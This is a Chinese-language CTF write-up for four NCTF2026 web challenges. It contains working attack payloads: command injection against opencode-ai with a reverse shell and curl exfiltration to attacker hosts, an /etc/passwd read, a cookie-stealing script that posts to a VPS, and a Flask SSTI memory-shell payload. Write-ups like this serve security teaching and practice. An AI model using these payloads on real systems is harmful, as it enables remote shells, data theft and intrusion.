NCTF2026 Web方向题解与漏洞利用详解
概述
本文档基于NCTF2026的Web题目Writeup,详细分析四道题目(OpenShell、N-MinSite、N-Horse、N-RustPICA)的解题思路、漏洞原理和利用方法。文档将按题目拆分,深入剖析关键漏洞点、利用链构建和实际利用过程。
题目一:OpenShell
1. 题目信息
- 应用架构:Node.js应用运行在8000端口,包含一个bot服务用于访问用户提交的URL,使用Playwright控制Chromium浏览器。
- Flag存储:环境变量
GZCTF_FLAG写入/flag文件,权限设置为chmod 000 /flag(无任何读写执行权限),文件所有者为node用户。 - 关键限制:
- Bot只接受以
.pages.dev结尾的URL(Cloudflare Pages域名)。 - 需通过SSRF(服务器端请求伪造)让浏览器读取
/flag文件。
- Bot只接受以
2. 漏洞点:opencode-ai@1.2.16
2.1 /experimental/worktree 路由 (CVE-2026-22812)
-
路由位置:
server/routes/experimental.ts:91-115 -
漏洞代码:
const worktree = await Worktree.create(body) // 直接传入用户输入body由validator("json", Worktree.create.schema)验证,但schema中startCommand字段仅定义为z.string().optional(),无任何过滤/校验。 -
漏洞触发链:
create函数接收用户输入的startCommand。- 在异步任务中调用
runStartScripts(info.directory, { projectID, extra }),其中extra为用户可控参数。 - 最终执行
runStartCommand函数,通过$模板标签执行命令:const result = await $`bash -lc ${cmd}`.cwd(directory)
-
利用原理:
bash -lc ${cmd}中,即使Bun Shell对${cmd}进行转义,bash -lc也会将其作为shell命令解析,导致任意命令执行。- 执行被包装在
setTimeout中,为异步“fire-and-forget”模式,攻击者无法直接获取输出,但可实现盲注(Blind Injection)。
-
利用方式:
- 基本命令执行:
curl -X POST http://127.0.0.1:4096/experimental/worktree \ -H "Content-Type: application/json" \ -d '{"name": "test", "startCommand": "id > /tmp/pwned"}' - 反弹Shell:
curl -X POST http://127.0.0.1:4096/experimental/worktree \ -H "Content-Type: application/json" \ -d '{"name": "rce", "startCommand": "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"}' - 带外数据泄露:
curl -X POST http://127.0.0.1:4096/experimental/worktree \ -H "Content-Type: application/json" \ -d '{"name": "exfil", "startCommand": "curl http://ATTACKER.com/$(whoami)"}'
- 基本命令执行:
2.2 /file/find 路由
-
路由位置:
server/routes/file.ts:12-43 -
漏洞代码:
pattern = c.req.valid("query").pattern // 仅验证为string Ripgrep.search({ cwd: ..., pattern }) // 传入用户输入在
ripgrep.ts的search方法中,最终拼接命令并通过${{ raw: command }}执行,该语法禁用Bun Shell的转义,将内容作为原始字符串传递给shell解析器。 -
利用原理:
- 虽然代码中使用
--分隔符防止ripgrep参数注入,但${{ raw: ... }}会直接将整个字符串交给shell解析,shell会先解析;、|等元字符,导致命令注入。
- 虽然代码中使用
-
利用方式:
- 命令执行(带输出回显):
curl "http://127.0.0.1:4096/file/find?pattern=;id" curl "http://127.0.0.1:4096/file/find?pattern=|id" curl "http://127.0.0.1:4096/file/find?pattern=\$(id)" - 读取敏感文件:
curl "http://127.0.0.1:4096/file/find?pattern=;cat%20/etc/passwd" - 带外数据泄露:
curl "http://127.0.0.1:4096/file/find?pattern=;curl%20http://ATTACKER.com/\$(whoami)"
- 命令执行(带输出回显):
3. 利用链构建:从SSRF到RCE
-
Cloudflare Pages域名准备:
- 由于bot只接受
.pages.dev域名,需在Cloudflare Pages创建站点。 - 上传恶意HTML文件,内容包含利用
/file/find漏洞的Payload。
- 由于bot只接受
-
绕过跨域限制:
- 使用
/file/find(GET请求)而非/experimental/worktree(POST请求),因为浏览器的no-cors模式对POST请求有严格限制(Content-Type不能为application/json)。
- 使用
-
最终Payload:
<script> const target = "http://127.0.0.1:4096/find?pattern=`echo {CMD_B64}|base64 -d|bash`"; window.open(target); fetch(target); </script>其中
{CMD_B64}为Base64编码的命令(如修改/flag权限并读取)。 -
自动化脚本:
import base64 import requests CHALLENGE_URL = "靶机地址" PUBLIC_URL = "VPS_IP" PUBLIC_PORT = 9999 CMD = f"/bin/bash -i >& /dev/tcp/{PUBLIC_URL}/{PUBLIC_PORT} 0>&1" CMD_B64 = base64.b64encode(CMD.encode()).decode() pages_url = "https://恶意站点.pages.dev/index.html" resp = requests.post( f"http://{CHALLENGE_URL}/report", json={"url": pages_url}, timeout=10, ) print(f"[+] 提交状态: {resp.status_code}") print(resp.text) -
获取Flag:
- 通过注入的命令修改
/flag权限并读取:chmod 777 /flag cat /flag
- 通过注入的命令修改
题目二:N-MinSite
1. 题目信息
- 目标:MaxSite CMS应用,存在文件包含漏洞和后台插件越权上传漏洞。
- 初始入口:首页存在链接,指向Base64编码的路径
ctf/edge_key_release_2026.php,解码后为ctf/edge_key_release_2026.php。
2. 漏洞链分析
2.1 文件包含获取密钥
- 通过
require-maxsite.php的文件包含漏洞,包含ctf/update-key-require-maxsite.php文件,泄露更新密钥edge_key_release_2026。 - 使用密钥访问
/update-maxsite/?edge_key_release_2026获取压缩包,内含账号密码user / minsite-user-2025。
2.2 后台插件越权上传
-
漏洞位置:
application/maxsite/admin/plugins/admin_page/uploads-require-maxsite.php -
漏洞代码:
if (!is_login()) die('no login'); // 缺少权限校验:mso_check_allow('admin_page_edit')仅验证登录状态,未校验用户权限,导致低权限账号(
users_groups_id = 2)可调用上传接口。 -
上传路径:
./uploads/_pages/{page_id}/,其中page_id来自X-Requested-FileUpDir头部(必须为数字)。 -
文件名处理:通过
_slug()函数清理,但对exp.html类文件名无影响。 -
内容写入:
file_put_contents($up_dir . $fn, file_get_contents('php://input')),无内容过滤。
2.3 路由访问机制
- 无法直接访问上传脚本,因文件开头有
<?php if (!defined('BASEPATH')) exit('No direct script access allowed');防止直接Web访问。 - 需通过特定路由访问:
/require-maxsite/{base64编码路径},其中路径必须满足:- 文件存在。
- 文件名包含
-require-maxsite.php后缀。 - 路径在
$MSO->config['base_dir']目录下。
3. 利用过程
-
构造上传请求:
- 路径:
/require-maxsite/YWRtaW4vcGx1Z2lucy9hZG1pbl9wYWdlL3VwbG9hZHMtcmVxdWlyZS1tYXhzaXRlLnBocA==(对应admin/plugins/admin_page/uploads-require-maxsite.php的Base64编码)。 - 头部:
X-Requested-Filename: 上传文件名(如test.html)。X-Requested-FileUpDir: 数字ID(如1)。X-Requested-ReplaceFile:true。
- 请求体:HTML内容(用于窃取Cookie或获取后台页面)。
- 路径:
-
窃取Cookie的HTML:
<!DOCTYPE html> <html> <head> <title>Probe</title> </head> <body> <script> var cookies = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('POST', 'http://VPS_IP:9999/', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('cookies=' + encodeURIComponent(cookies) + '&url=' + encodeURIComponent(window.location.href)); </script> </body> </html> -
获取后台页面内容:
由于直接窃取Cookie后访问/admin可能被拦截,可改为上传脚本直接抓取后台页面内容并保存为新文件:<script> (async () => { const targetUrl = '/admin'; const uploadUrl = '/require-maxsite/YWRtaW4vcGx1Z2lucy9hZG1pbl9wYWdlL3VwbG9hZHMtcmVxdWlyZS1tYXhzaXRlLnBocA=='; const outputFilename = 'admin_content.html'; try { const resp = await fetch(targetUrl, { credentials: 'include' }); const content = await resp.text(); await fetch(uploadUrl, { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/octet-stream', 'X-Requested-Filename': outputFilename, 'X-Requested-FileUpDir': '1', 'X-Requested-ReplaceFile': 'true' }, body: content }); console.log('上传成功'); } catch (err) { console.error('失败:', err); } })(); </script>上传后访问
/pages/admin_content.html获取Flag。
题目三:N-Horse
1. 题目信息
- 漏洞类型:SSTI(服务器端模板注入)无回显。
- 利用方式:内存马注入。
2. 利用Payload
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}
3. 原理分析
- 通过Flask的
url_for.__globals__访问内置函数和模块。 - 使用
eval执行代码,在app.after_request_funcs中注册一个后处理函数。 - 当请求包含
cmd参数时,执行命令并将结果存入CmdResp,通过Flask响应返回。 - 实现无回显SSTI到内存马的转换,后续可通过
?cmd=id执行命令。
题目四:N-RustPICA
1. 题目信息
- 扫描发现:存在
/debug和/assets目录。 - API接口:通过审计
/assets/index-C6xYZckD.js发现多个接口:/api/auth/me/api/auth/login/api/auth/logout/api/anime/api/admin/anime/api/admin/templates/review-flow/api/admin/anime/${o}/transition
2. 漏洞利用链
-
信息泄露:访问
GET /debug/config.json获取管理员账号和密码:adminUser: anime_adminpasswordParts: Base64分段密码,拼接解码后为purestream。
-
登录后台:使用
anime_admin / purestream登录,发现隐藏功能。 -
状态修改:通过
/api/admin/anime/${o}/transition接口将内容状态改为published,但需先获取请求体格式。 -
获取请求体:访问
/api/admin/templates/review-flow获取transition所需的JSON结构。 -
触发Flag:构造请求将目标内容状态修改为
published,触发Flag显示。
总结
本次NCTF2026的Web题目涵盖了多种漏洞类型和利用技巧:
- OpenShell:结合Cloudflare Pages域名的SSRF、Bun Shell命令注入、异步盲注和内网服务攻击。
- N-MinSite:文件包含泄露密钥、后台插件越权上传、路由机制绕过和Cookie窃取。
- N-Horse:无回显SSTI转为内存马,实现命令执行。
- N-RustPICA:信息泄露、API未授权访问和状态机绕过。
关键点包括:对框架特性(如Bun Shell的${{ raw: ... }})的深入理解、混合漏洞链的构建(SSRF+RCE)、权限绕过(如越权上传)和盲注场景下的外带数据技术。